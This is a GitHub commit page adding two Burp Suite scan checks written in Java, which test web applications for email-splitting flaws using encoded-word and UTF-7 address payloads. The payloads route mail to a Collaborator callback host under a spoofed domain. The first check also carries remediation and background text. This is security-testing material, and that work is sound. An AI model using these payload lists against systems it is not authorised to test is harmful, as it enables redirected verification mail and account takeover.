Skip to content

Commit fc657dd

Browse files
authored
Merge pull request #137 from hackvertor/main
Added Email Splitting scan checks using client & default Collaborator.
2 parents f26a124 + ab59356 commit fc657dd

File tree

2 files changed

+130
-0
lines changed

2 files changed

+130
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
id: 352f58b4-efb0-49ba-9d8d-0901cd5e237c
2+
name: Email splitting collaborator client
3+
function: SCAN_CHECK_ACTIVE_PER_INSERTION_POINT
4+
location: SCANNER
5+
source: |
6+
/**
7+
* Performs an email splitting attack using encoded word.
8+
* The Collaborator client is used to retrieve interactions.
9+
* You should change the spoofServer to be your target domain e.g. example.com
10+
* You can add more techniques using the techniques variable.
11+
*
12+
* @author Gareth Heyes
13+
**/
14+
15+
var POLL_SLEEP = 1_000;
16+
var TOTAL_TIME = 10_000;
17+
var spoofServer = "target.domain";
18+
var collaboratorClient = api().collaborator().createClient();
19+
var techniques = new String[]{
20+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=00?=foo@$SPOOF_SERVER"
21+
};
22+
23+
HashMap<String, HttpRequestResponse> requestResponsesSent = new HashMap<>();
24+
25+
for(var technique: techniques) {
26+
var payload = collaboratorClient.generatePayload();
27+
technique = technique.replaceAll("[$]COLLABORATOR_SERVER", payload.server().get().address());
28+
technique = technique.replaceAll("[$]COLLABORATOR_PAYLOAD", payload.id().toString());
29+
technique = technique.replaceAll("[$]SPOOF_SERVER", spoofServer);
30+
HttpRequestResponse reqResp = http.sendRequest(insertionPoint.buildHttpRequestWithPayload(ByteArray.byteArray(technique)));
31+
requestResponsesSent.put(payload.id().toString(), reqResp);
32+
}
33+
34+
List<AuditIssue> auditIssues = new ArrayList<>();
35+
36+
Function<String, String> newLinesToBr = s -> s.replaceAll("\r?\n","<br>");
37+
38+
try {
39+
long start = System.currentTimeMillis();
40+
while (true) {
41+
if (System.currentTimeMillis() - start >= TOTAL_TIME) break;
42+
List<Interaction> list = collaboratorClient.getAllInteractions();
43+
if (!list.isEmpty()) {
44+
for (Interaction i : list) {
45+
if (!i.smtpDetails().isPresent()) continue;
46+
var id = i.id().toString();
47+
var conversation = i.smtpDetails().get().conversation().substring(0, 500) + "...";
48+
var title = "Email address parser discrepancy";
49+
var detail = "This site is vulnerable to an email splitting attack below is the SMTP conversation:"+utilities().htmlUtils().encode(conversation);
50+
var remediation = """
51+
- Reject any address containing =? … ?= (“encoded-word”) patterns with a simple regex such as =[?].+[?]= before further processing.
52+
- Disable or strictly configure legacy address parsing features in mail libraries (UUCP bang paths, source routes, UTF-7, IDN/Punycode) whenever they are not required.
53+
- Never base authorisation decisions solely on the claimed email domain. Instead, verify ownership (for example, by sending a one-time link) or use cryptographically strong identity assertions.
54+
- Ensure server-side validation is performed by the same library that ultimately sends or stores the address, avoiding mixed-parser discrepancies.
55+
""";
56+
var background = "Email syntax is governed by decades-old RFCs that permit comments, quoted local-parts, multiple encodings and obsolete routing notations. Modern web applications often validate addresses with a simple regex or framework helper, then pass them to deeper libraries (SMTP clients, IDN converters, etc.). An attacker can embed control characters or secondary @ symbols that survive the first check but are re-interpreted later, redirecting mail delivery or splitting the address during SMTP dialogue. The impact ranges from account takeover to cross-tenant data exposure and, where rendered in HTML contexts, stored XSS leading to RCE.";
57+
var remediationBackground = "The simplest and most effective defence is disable: “encoded-word” as they are unnecessary in user registration flows and can be blocked cheaply. Disabling rarely used address forms in mail libraries closes additional vectors, while eliminating domain-based access checks removes the underlying trust flaw. Where email addresses must be accepted verbatim (for example, mail clients), sanitise or escape them before insertion into HTML or SQL contexts and confirm delivery via out-of-band verification.";
58+
auditIssues.add(AuditIssue.auditIssue(title, newLinesToBr.apply(title), newLinesToBr.apply(remediation), requestResponse.request().url(), AuditIssueSeverity.MEDIUM, AuditIssueConfidence.FIRM, newLinesToBr.apply(background), newLinesToBr.apply(remediationBackground), AuditIssueSeverity.MEDIUM, requestResponsesSent.get(id)));
59+
}
60+
}
61+
java.util.concurrent.TimeUnit.MILLISECONDS.sleep(POLL_SLEEP);
62+
}
63+
} catch (InterruptedException ignored) {}
64+
65+
return AuditResult.auditResult(auditIssues);
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
id: 5ce07589-6bec-4aec-8c86-ae26974bc17f
2+
name: Email splitting default collaborator
3+
function: SCAN_CHECK_ACTIVE_PER_INSERTION_POINT
4+
location: SCANNER
5+
source: |
6+
/**
7+
* Performs an email splitting attack using encoded word.
8+
* The default Collaborator client is used to retrieve interactions.
9+
* You should change the spoofServer to be your target domain e.g. example.com
10+
* Note this scan check using the default Collaborator tab and doesn't raise any issues.
11+
* This allows you to use a long running task over the 2 minute window for scan checks.
12+
* The main Collaborator tab will be updated if your probes are successful and receive Collaborator interactions.
13+
*
14+
* @author Gareth Heyes
15+
**/
16+
17+
var techniques = new String[]{
18+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=00?=foo@$SPOOF_SERVER",
19+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=01?=foo@$SPOOF_SERVER",
20+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=02?=foo@$SPOOF_SERVER",
21+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=03?=foo@$SPOOF_SERVER",
22+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=04?=foo@$SPOOF_SERVER",
23+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=05?=foo@$SPOOF_SERVER",
24+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=07?=foo@$SPOOF_SERVER",
25+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=08?=foo@$SPOOF_SERVER",
26+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=0e?=foo@$SPOOF_SERVER",
27+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=0f?=foo@$SPOOF_SERVER",
28+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=10?=foo@$SPOOF_SERVER",
29+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=11?=foo@$SPOOF_SERVER",
30+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=13?=foo@$SPOOF_SERVER",
31+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=15?=foo@$SPOOF_SERVER",
32+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=16?=foo@$SPOOF_SERVER",
33+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=17?=foo@$SPOOF_SERVER",
34+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=19?=foo@$SPOOF_SERVER",
35+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=1a?=foo@$SPOOF_SERVER",
36+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=1b?=foo@$SPOOF_SERVER",
37+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=1c?=foo@$SPOOF_SERVER",
38+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=1d?=foo@$SPOOF_SERVER",
39+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=1f?=foo@$SPOOF_SERVER",
40+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=20?=foo@$SPOOF_SERVER",
41+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=2c?=x@$SPOOF_SERVER",
42+
"=?utf-7?q?$COLLABORATOR_PAYLOAD&AEA-$COLLABORATOR_SERVER&ACw-?=foo@$SPOOF_SERVER",
43+
"=?utf-7?q?$COLLABORATOR_PAYLOAD&AEA-$COLLABORATOR_SERVER&ACw=/xyz!-?=foo@$SPOOF_SERVER",
44+
"=?utf-7?q?$COLLABORATOR_PAYLOAD=26AEA-$COLLABORATOR_SERVER=26ACw-?=foo@$SPOOF_SERVER",
45+
"$COLLABORATOR_PAYLOAD=?utf-7?b?JkFFQS0?=$COLLABORATOR_SERVER=?utf-7?b?JkFDdy0?=foo@$SPOOF_SERVER",
46+
"$COLLABORATOR_PAYLOAD=?x?b?QA==?=$COLLABORATOR_SERVER=?x?b?LA==?=foo@$SPOOF_SERVER",
47+
"=?utf-7?q?$COLLABORATOR_PAYLOAD&AEA-$COLLABORATOR_SERVER&ACA-?=foo@$SPOOF_SERVER",
48+
"=?utf-7?q?$COLLABORATOR_PAYLOAD&AEA-$COLLABORATOR_SERVER&ACA=/xyz!-?=foo@$SPOOF_SERVER",
49+
"=?utf-7?q?$COLLABORATOR_PAYLOAD=26AEA-$COLLABORATOR_SERVER=26ACA-?=foo@$SPOOF_SERVER",
50+
"$COLLABORATOR_PAYLOAD=?utf-7?b?JkFFQS0?=$COLLABORATOR_SERVER=?utf-7?b?JkFDdy0?=foo@$SPOOF_SERVER",
51+
"$COLLABORATOR_PAYLOAD=?x?b?QA==?=$COLLABORATOR_SERVER=?x?b?LA==?=foo@$SPOOF_SERVER"
52+
};
53+
54+
var spoofServer = "target.domain";
55+
56+
for(var technique: techniques) {
57+
var payload = api().collaborator().defaultPayloadGenerator().generatePayload();
58+
technique = technique.replaceAll("[$]COLLABORATOR_SERVER", payload.server().get().address());
59+
technique = technique.replaceAll("[$]COLLABORATOR_PAYLOAD", payload.id().toString());
60+
technique = technique.replaceAll("[$]SPOOF_SERVER", spoofServer);
61+
62+
HttpRequestResponse reqResp = http.sendRequest(insertionPoint.buildHttpRequestWithPayload(ByteArray.byteArray(technique)));
63+
}
64+
65+
return null;

0 commit comments

Comments
 (0)